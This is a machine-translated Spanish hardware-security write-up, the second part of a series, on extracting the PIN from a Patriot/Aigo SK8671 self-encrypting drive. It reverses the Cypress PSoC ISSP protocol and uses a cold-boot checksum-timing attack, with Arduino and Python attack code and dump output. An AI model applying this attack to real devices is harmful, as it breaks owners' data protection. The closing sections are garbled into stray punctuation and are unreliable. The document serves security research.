Esta es la segunda y última parte del artículo sobre la piratería de unidades de autocifrado externas. Les recuerdo que un colega me trajo recientemente un disco duro Patriot (Aigo) SK8671, y decidí revertirlo, y ahora estoy compartiendo lo que salió de él. Antes de seguir leyendo, asegúrese de leer la primera parte del artículo.
4. Comenzamos a eliminar el volcado de la unidad flash interna PSoC
5. Protocolo ISSP
- 5.1. ¿Qué es un ISSP?
- 5.2. Desmitificación de vectores
- 5.3. Chatea con PSoC
- 5.4. Identificación de registros intra-chip.
- 5.5. Brocas protectoras
6. Primer ataque (fallido): ROMX
7. Segundo ataque: seguimiento con reinicio en frío
- 7.1. Implementación
- 7.2. Lee el resultado
- 7.3. Reconstrucción del binario flash.
- 7.4. Encuentra la dirección de almacenamiento de código PIN
- 7.5. Eliminamos el basurero del bloque No. 126
- 7.6. Recuperación de código PIN
8. ¿Qué sigue?
9. Conclusión

4. Comenzamos a eliminar el volcado de la unidad flash interna PSoC
Entonces, todo indica (como establecimos en [la primera parte] ()) que el código PIN está almacenado en los intestinos flash de PSoC. Por lo tanto, necesitamos leer estos intestinos rápidos. Frente de trabajo necesario:
- tomar el control de la "comunicación" con el microcontrolador;
- encuentre una manera de verificar si esta "comunicación" está protegida contra la lectura desde el exterior;
- encuentra una forma de evitar la seguridad.
Hay dos lugares donde tiene sentido buscar un código PIN válido:
- memoria flash interna;
- SRAM, donde se puede almacenar el código PIN para compararlo con el código PIN que ingresa el usuario.
Mirando hacia el futuro, noto que aún logré eliminar el volcado de la unidad flash interna PSoC, evitando su sistema de protección, utilizando el "seguimiento de restablecimiento en frío" del ataque de hardware después de revertir las características no documentadas del protocolo ISSP. Esto me permitió volcar directamente el código PIN actual.
$ ./psoc.py syncing: KO OK [...] PIN: 1 2 3 4 5 6 7 8 9
El código del programa resultante:
5. Protocolo ISSP
5.1. ¿Qué es un ISSP?
La "comunicación" con el microcontrolador puede significar diferentes cosas: de "vendedor a vendedor", a la interacción mediante un protocolo en serie (por ejemplo, ICSP para PIC de Microchip).
Cypress tiene su propio protocolo patentado para esto, llamado ISSP (protocolo de programación en serie del sistema), que se describe parcialmente en la especificación técnica . El documento US7185162 también proporciona información. También hay un análogo de OpenSource llamado HSSP (lo usaremos un poco más adelante). ISSP funciona de la siguiente manera:
- reiniciar PSoC;
- traiga el número mágico al segmento de datos en serie de este PSoC; para ingresar al modo de programación externa;
- enviar comandos que son cadenas de bits largas llamadas "vectores".
En la documentación del ISSP, estos vectores se definen solo para un pequeño puñado de comandos:
- Initialialize-1
- Initialize-2
- Initialize-3 (opciones de 3V y 5V)
- CONFIGURACIÓN DE IDENTIFICACIÓN
- LEER-ID-PALABRA
- SET-BLOCK-NUM: 10011111010dddddddd111, donde dddddddd = block #
- BORRAR A GRANEL
- PROGRAMA-BLOQUE
- VERIFICAR-CONFIGURACIÓN
- READ-BYTE: 10110aaaaaaZDDDDDDDDDZ1, donde DDDDDDDDD = salida de datos, aaaaaa = dirección (6 bits)
- WRITE-BYTE: 10010aaaaaadddddddd111, donde dddddddd = datos, aaaaaa = dirección (6 bits)
- Seguro
- CONFIGURACIÓN DE CHECKSUM
- READ-CHECKSUM: 10111111001ZDDDDDDDDDZ110111111000ZDDDDDDDDZ1, donde DDDDDDDDDDDDDDDD = salida de datos: suma de comprobación del dispositivo
- BORRAR BLOQUEO
Por ejemplo, el vector para Initialize-2:
1101111011100000000111 1101111011000000000111 1001111100000111010111 1001111100100000011111 1101111010100000000111 1101111010000000011111 1001111101110000000111 1101111100100110000111 1101111101001000000111 1001111101000000001111 1101111000000000110111 1101111100000000000111 1101111111100010010111
Todos los vectores tienen la misma longitud: 22 bits. La documentación del HSSP tiene información adicional sobre los ISSP: "Un vector ISSP no es más que una secuencia de bits que representa un conjunto de instrucciones".
5.2. Desmitificación de vectores
Veamos qué pasa aquí. Inicialmente, asumí que estos mismos vectores son variantes en bruto de las instrucciones M8C, sin embargo, después de probar esta hipótesis, descubrí que los códigos de operación no coinciden.
Luego busqué en Google el vector anterior y me topé con este estudio, donde el autor, aunque no entra en detalles, da algunas pistas prácticas: "Cada instrucción comienza con tres bits que corresponden a una de las cuatro mnemotecnias (leer de RAM, escribir en RAM , lea el registro, escriba el registro). Luego viene la dirección de 8 bits, seguida de 8 bits de datos (ya sea leídos o escritos) y finalmente tres bits de parada ".
Luego pude reunir información muy útil de la sección ROM de supervisión (SROM) del manual técnico . SROM es una ROM codificada en PSoC que proporciona funciones de servicio (similares a Syscall) para el código de software que se ejecuta en el espacio del usuario:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrar0
- 09h: Calibrar1
Comparando nombres de vectores con funciones SROM, podemos mapear las diversas operaciones soportadas por este protocolo a los parámetros esperados de SROM. Gracias a esto, podemos decodificar los primeros tres bits de vectores ISSP:
- 100 => "wrmem"
- 101 => "rdmem"
- 110 => "wrreg"
- 111 => "rdreg"
Sin embargo, solo se puede obtener una comprensión completa de los procesos dentro del chip a través de la comunicación directa con PSoC.
5.3. Chatea con PSoC
Como Dirk Petrautsky ya ha portado el código HSSP de Cypress a Arduino, utilicé Arduino Uno para conectar la placa del teclado al conector ISSP.
Tenga en cuenta que durante mi investigación, cambié bastante el código Dirk. Puede encontrar mi modificación en GitHub: aquí está el script Python correspondiente para comunicarse con Arduino, en mi repositorio cypress_psoc_tools .
Entonces, usando Arduino, al principio solo usé vectores "oficiales" para la "comunicación". Traté de leer la ROM interna usando el comando VERIFY. Como era de esperar, no pude hacer esto. Probablemente debido al hecho de que los bits de protección de lectura se activan dentro de la unidad flash.
Luego creé algunos de mis vectores simples para escribir y leer memorias / registros. Tenga en cuenta que podemos leer todo el SROM, ¡aunque la unidad flash esté protegida!
5.4. Identificación de registros intra-chip.
Al observar los vectores "desensamblados", descubrí que el dispositivo utiliza registros no documentados (0xF8-0xFA) para indicar códigos de operación M8C que se ejecutan directamente, sin pasar por la protección. Esto me permitió ejecutar varios códigos de operación como "ADD", "MOV A, X", "PUSH" o "JMP". Gracias a ellos (observando los efectos secundarios que tienen en los registros), pude determinar cuáles de los registros indocumentados son en realidad registros regulares (A, X, SP y PC).
Como resultado, el código "desensamblado" generado por la herramienta HSSP_disas.rb se ve así (para mayor claridad, agregué comentarios):
--== init2 ==-- [DE E0 1C] wrreg CPU_F (f7), 0x00 # [DE C0 1C] wrreg SP (f6), 0x00 # SP [9F 07 5C] wrmem KEY1, 0x3A # SSC [9F 20 7C] wrmem KEY2, 0x03 # [DE A0 1C] wrreg PCh (f5), 0x00 # PC (MSB) ... [DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... 3 ?? [9F 70 1C] wrmem POINTER, 0x80 # RAM- [DF 26 1C] wrreg opc1 (f9), 0x30 # 1 => "HALT" [DF 48 1C] wrreg opc2 (fa), 0x40 # 2 => "NOP" [9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID SSC [DE 00 DC] wrreg A (f0), 0x06 # "Syscall" : TableRead [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC, "Supervisory SROM Call" [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # :
5.5. Brocas protectoras
En esta etapa, ya puedo comunicarme con PSoC, pero todavía no tengo información confiable sobre los bits de protección de la unidad flash. Me sorprendió mucho el hecho de que Cypress no le da al usuario del dispositivo ningún medio para verificar si la protección está activada. Entré profundamente en Google para finalmente entender que el código HSSP proporcionado por Cypress se actualizó después de que Dirk lanzó su modificación. Y ahí tienes! Aquí hay un nuevo vector como este:
[DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [9F A0 1C] wrmem 0xFD, 0x00 # [9F E0 1C] wrmem 0xFF, 0x00 # [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 02 1C] wrreg A (f0), 0x10 # syscall ! [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
Usando este vector (ver read_security_data en psoc.py), obtenemos todos los bits de protección en SRAM a 0x80, donde cada bit está protegido con dos bits.
El resultado es deprimente: todo está protegido en el modo "desactivar lectura y escritura externa". Por lo tanto, no solo podemos leer cualquier cosa de la unidad flash USB, sino también escribirla (por ejemplo, para introducir un volcador de ROM allí). Y la única forma de desactivar la protección es borrar completamente el chip completo. :-(
6. Primer ataque (fallido): ROMX
Sin embargo, podemos probar el siguiente truco: dado que tenemos la capacidad de ejecutar códigos de operación arbitrarios, ¿por qué no ejecutar ROMX, que se usa para leer la memoria flash? Este enfoque tiene buenas posibilidades de éxito. Debido a que la función ReadBlock, que lee datos de SROM (que usan los vectores), verifica si se llama desde ISSP. Sin embargo, el código de operación ROMX, presumiblemente, puede no tener tal verificación. Entonces, aquí está el código Python (después de agregar algunas clases auxiliares al código Arduino C):
for i in range(0, 8192): write_reg(0xF0, i>>8) # A = 0 write_reg(0xF3, i&0xFF) # X = 0 exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A print "%02x" % ord(byte[0]) # print ROM byte
Lamentablemente, este código no funciona. :-( Más bien, funciona, pero en la salida obtenemos nuestros propios códigos de operación (0x28 0x30 0x40). No creo que la funcionalidad correspondiente del dispositivo sea un elemento de protección contra lectura. Esto es más como un truco de ingeniería: cuando se ejecutan códigos de operación externos, el bus ROM se redirige a un búfer temporal.
7. Segundo ataque: seguimiento con reinicio en frío
Como el truco de ROMX no funcionó, comencé a pensar en otra variación de este truco, descrita en la publicación "Arrojando demasiada luz sobre la protección del firmware de un microcontrolador" .
7.1. Implementación
El siguiente vector para CHECKSUM-SETUP aparece en la documentación del ISSP:
[DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [9F 40 1C] wrmem BLOCKID, 0x00 [DE 00 FC] wrreg A (f0), 0x07 [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
Aquí, en esencia, se llama a la función SROM 0x07, como se presenta en la documentación (cursiva mía):
Esta función suma de comprobación suma de comprobación. Calcula una suma de verificación de 16 bits del número de bloques establecidos por el usuario en un banco flash, contando desde cero. El parámetro BLOCKID se usa para transferir el número de bloques que se usarán al calcular la suma de verificación. Un valor de "1" calculará la suma de verificación para el bloque cero solamente; mientras que "0" llevará al hecho de que se calculará la suma de verificación total de los 256 bloques del banco flash. Se devuelve una suma de comprobación de 16 bits a través de KEY1 y KEY2. En el parámetro KEY1, los 8 bits bajos de la suma de comprobación son fijos, y en KEY2, se registran los 8 bits altos. Para dispositivos con múltiples bancos de flash, se llama a la función de suma de comprobación para cada uno individualmente. El número de banco con el que funcionará lo establece el registro FLS_PR1 (al establecer un bit correspondiente al banco flash de destino).
Tenga en cuenta que esta es la suma de comprobación más simple: los bytes simplemente se suman uno por uno; sin caprichos sofisticados de CRC. Además, sabiendo que el conjunto de registros en el núcleo M8C es muy pequeño, supuse que al calcular la suma de verificación, los valores intermedios se fijarán en las mismas variables que eventualmente irán a la salida: KEY1 (0xF8) / KEY2 (0xF9).
Entonces, en teoría, mi ataque se ve así:
- Conéctese a través de ISSP.
- Comenzamos el cálculo de la suma de verificación utilizando el vector CHECKSUM-SETUP.
- Reiniciamos el procesador después del tiempo especificado T.
- Lea la RAM para obtener la suma de comprobación actual C.
- Repita los pasos 3 y 4, aumentando cada vez T.
- Recuperamos los datos de la unidad flash restando la suma de verificación C anterior de la actual.
Sin embargo, surgió un problema: el vector Initialize-1, que debemos enviar después del reinicio, sobrescribe KEY1 y KEY2:
1100101000000000000000 # , PSoC nop nop nop nop nop [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A # [9F 20 7C] wrmem KEY2, 0x03 # [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 01 3C] wrreg A (f0), 0x09 # SROM- 9 [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12
Este código sobrescribe nuestra preciosa suma de comprobación llamando a Calibrate1 (función SROM 9) ... ¿Tal vez podamos ingresar al modo de programación enviando el número mágico (desde el principio del código anterior) y luego leer SRAM? ¡Y sí, funciona! El código Arduino que implementa este ataque es bastante simple:
case Cmnd_STK_START_CSUM: checksum_delay = ((uint32_t)getch())<<24; checksum_delay |= ((uint32_t)getch())<<16; checksum_delay |= ((uint32_t)getch())<<8; checksum_delay |= getch(); if(checksum_delay > 10000) { ms_delay = checksum_delay/1000; checksum_delay = checksum_delay%1000; } else { ms_delay = 0; } send_checksum_v(); if(checksum_delay) delayMicroseconds(checksum_delay); delay(ms_delay); start_pmode();
- Lea checkum_delay.
- Ejecute el cálculo de suma de verificación (send_checksum_v).
- Espera un período de tiempo determinado; dados los siguientes escollos:
- Maté mucho tiempo hasta que descubrí que delayMicroseconds funcionaba correctamente solo con demoras que no superaban los 16383mks;
- y luego nuevamente mató la misma cantidad de tiempo hasta que descubrió que delayMicroseconds, si pasaba 0 a su entrada, ¡funcionaba completamente mal!
- Vuelva a cargar PSoC en modo de programación (solo envíe el número mágico, sin enviar vectores de inicialización).
El código Python resultante:
for delay in range(0, 150000):
En pocas palabras, lo que hace este código:
- Vuelve a cargar el PSoC (y le envía un número mágico).
- Envía vectores de inicialización completos.
- Llama a la función Arduino Cmnd_STK_START_CSUM (0x85), donde el retraso en microsegundos se pasa como parámetro.
- Lee la suma de comprobación (0xF8 y 0xF9) y el registro no documentado 0xF1.
Este código se ejecuta 10 veces en 1 microsegundo. Aquí se incluye 0xF1 porque fue el único registro que cambió al calcular la suma de verificación. Quizás este es algún tipo de variable temporal utilizada por el dispositivo de lógica aritmética. Preste atención al truco feo que reinicio Arduino usando picocom cuando el Arduino deja de dar signos de vida (no tengo idea de por qué).
7.2. Lee el resultado
El resultado del script Python se ve así (simplificado para facilitar la lectura):
DELAY F1 F8 F9 # F1 – # F8 # F9 00000 03 E1 19 [...] 00016 F9 00 03 00016 F9 00 00 00016 F9 00 03 00016 F9 00 03 00016 F9 00 03 00016 F9 00 00 # 0 00017 FB 00 00 [...] 00023 F8 00 00 00024 80 80 00 # 1- : 0x0080-0x0000 = 0x80 00024 80 80 00 00024 80 80 00 [...] 00057 CC E7 00 # 2- : 0xE7-0x80: 0x67 00057 CC E7 00 00057 01 17 01 # , 00057 01 17 01 00057 01 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 F8 E7 00 # E7? 00058 D0 17 01 [...] 00059 E7 E7 00 00060 17 17 00 # [...] 00062 00 17 00 00062 00 17 00 00063 01 17 01 # , ! 00063 01 17 01 [...] 00075 CC 17 01 # , 0x117-0xE7: 0x30
Al mismo tiempo, tenemos un problema: dado que operamos en la suma de verificación real, un byte cero no cambia el valor de lectura. Sin embargo, dado que todo el procedimiento de cálculo (8192 bytes) toma 0.1478 segundos (con ligeras desviaciones en cada inicio), que corresponde aproximadamente a 18.04 μs por byte, podemos usar este tiempo para verificar el valor de la suma de verificación en los momentos adecuados. Para las primeras ejecuciones, todo se lee con bastante facilidad, ya que la duración del procedimiento computacional es casi la misma. Sin embargo, el final de este volcado es menos preciso, porque las "desviaciones insignificantes en el tiempo" con cada ejecución se resumen y se vuelven significativas:
134023 D0 02 DD 134023 CC D2 DC 134023 CC D2 DC 134023 CC D2 DC 134023 FB D2 DC 134023 3F D2 DC 134023 CC D2 DC 134024 02 02 DC 134024 CC D2 DC 134024 F9 02 DC 134024 03 02 DD 134024 21 02 DD 134024 02 D2 DC 134024 02 02 DC 134024 02 02 DC 134024 F8 D2 DC 134024 F8 D2 DC 134025 CC D2 DC 134025 EF D2 DC 134025 21 02 DD 134025 F8 D2 DC 134025 21 02 DD 134025 CC D2 DC 134025 04 D2 DC 134025 FB D2 DC 134025 CC D2 DC 134025 FB 02 DD 134026 03 02 DD 134026 21 02 DD
Estos son 10 volcados por cada retraso de microsegundos. El tiempo operativo total para descargar todos los 8192 bytes de una unidad flash es de aproximadamente 48 horas.
7.3. Reconstrucción del binario flash.
Todavía no he terminado de escribir un código que reconstruya completamente el código del programa de la unidad flash, teniendo en cuenta todas las desviaciones en el tiempo. Sin embargo, ya he restaurado el comienzo de este código. Para asegurarme de que lo hice correctamente, lo desarme usando m8cdis:
0000: 80 67 jmp 0068h ; Reset vector [...] 0068: 71 10 or F,010h 006a: 62 e3 87 mov reg[VLT_CR],087h 006d: 70 ef and F,0efh 006f: 41 fe fb and reg[CPU_SCR1],0fbh 0072: 50 80 mov A,080h 0074: 4e swap A,SP 0075: 55 fa 01 mov [0fah],001h 0078: 4f mov X,SP 0079: 5b mov A,X 007a: 01 03 add A,003h 007c: 53 f9 mov [0f9h],A 007e: 55 f8 3a mov [0f8h],03ah 0081: 50 06 mov A,006h 0083: 00 ssc [...] 0122: 18 pop A 0123: 71 10 or F,010h 0125: 43 e3 10 or reg[VLT_CR],010h 0128: 70 00 and F,000h ; Paging mode changed from 3 to 0 012a: ef 62 jacc 008dh 012c: e0 00 jacc 012dh 012e: 71 10 or F,010h 0130: 62 e0 02 mov reg[OSC_CR0],002h 0133: 70 ef and F,0efh 0135: 62 e2 00 mov reg[INT_VC],000h 0138: 7c 19 30 lcall 1930h 013b: 8f ff jmp 013bh 013d: 50 08 mov A,008h 013f: 7f ret
¡Parece bastante creíble!
7.4. Encuentra la dirección de almacenamiento de código PIN
Ahora que podemos leer la suma de verificación en el momento que necesitamos, podemos verificar fácilmente cómo y dónde cambia cuando:
- ingrese el código PIN incorrecto;
- cambia el código PIN.
Primero, para encontrar la dirección de almacenamiento aproximada, realicé un volcado de suma de comprobación en incrementos de 10 ms después de un reinicio. Luego ingresé el código PIN incorrecto e hice lo mismo.
El resultado no fue muy agradable, ya que hubo muchos cambios. Pero al final, pude establecer que la suma de verificación cambió en algún punto del intervalo entre 120,000 μs y 140,000 μs de retraso. Pero el "código PIN" que obtuve allí estaba completamente equivocado, debido al artefacto del procedimiento delayMicroseconds, que hace cosas extrañas cuando obtiene 0.
Luego, después de pasar casi 3 horas, recordé que la llamada al sistema CheckSum SROM en la entrada recibe un argumento que especifica el número de bloques para la suma de verificación. T.O. podemos localizar fácilmente la dirección de almacenamiento del código PIN y el contador de "intentos incorrectos", exactos al bloque de 64 bytes.
Mis ejecuciones iniciales dieron el siguiente resultado:

Luego cambié el código PIN de "123456" a "1234567" y recibí:

Por lo tanto, el código PIN y el contador de intentos incorrectos parecen estar almacenados en el bloque No. 126.
7.5. Eliminamos el basurero del bloque No. 126
El bloque No. 126 debe ubicarse en algún lugar en la región de 125x64x18 = 144000mks, desde el comienzo del cálculo de la suma de verificación, en mi volcado completo, y parece bastante creíble. Luego, después de seleccionar manualmente numerosos volcados inválidos (debido a la acumulación de "ligeras desviaciones en el tiempo"), finalmente obtuve estos bytes (con un retraso de 145527 μs):

¡Está claro que el código PIN se almacena sin cifrar! Estos valores, por supuesto, no están escritos en códigos ASCII, pero como resultado, reflejan las lecturas tomadas del teclado capacitivo.
Finalmente, realicé algunas pruebas más para encontrar dónde se almacena el contador de intentos incorrectos. Aquí está el resultado:

0xFF - significa "15 intentos", y disminuye con cada intento incorrecto.
7.6. Recuperación de código PIN
Aquí está mi código feo que reúne todo lo anterior:
def dump_pin(): pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5", 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"} last_csum = 0 pin_bytes = [] for delay in range(145495, 145719, 16): csum = csum_at(delay, 1) byte = (csum-last_csum)&0xFF print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte) pin_bytes.append(byte) last_csum = csum print "PIN: ", for i in range(0, len(pin_bytes)): if pin_bytes[i] in pin_map: print pin_map[pin_bytes[i]], print
Aquí está el resultado de su ejecución:
$ ./psoc.py syncing: KO OK Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK 145495 53e2 (0000) => e2 145511 5407 (53e2) => 25 145527 542d (5407) => 26 145543 5454 (542d) => 27 145559 5474 (5454) => 20 145575 5495 (5474) => 21 145591 54b7 (5495) => 22 145607 54da (54b7) => 23 145623 5506 (54da) => 2c 145639 5506 (5506) => 00 145655 5533 (5506) => 2d 145671 554c (5533) => 19 145687 554e (554c) => 02 145703 554e (554e) => 00 PIN: 1 2 3 4 5 6 7 8 9
¡Hurra! Funciona!
Tenga en cuenta que los valores de retraso utilizados por mí probablemente sean relevantes para un PSoC específico: el que usé.
8. ¿Qué sigue?
, PSoC, Aigo:
, – - . :
- , « »;
- FPGA- ( Arduino);
- : , RAM, , RAM, . Arduino - , Arduino 5 , 3,3 .
, – , . , , – , .
SROM, ReadBlock, , – , «REcon Brussels 2017» .
, – : SRAM, .
9.
, , ( «») … (), !
Aigo? - HDD-, 2015 SyScan, HDD-, , . :-)
. 40 . ( ) ( ). 40 , . .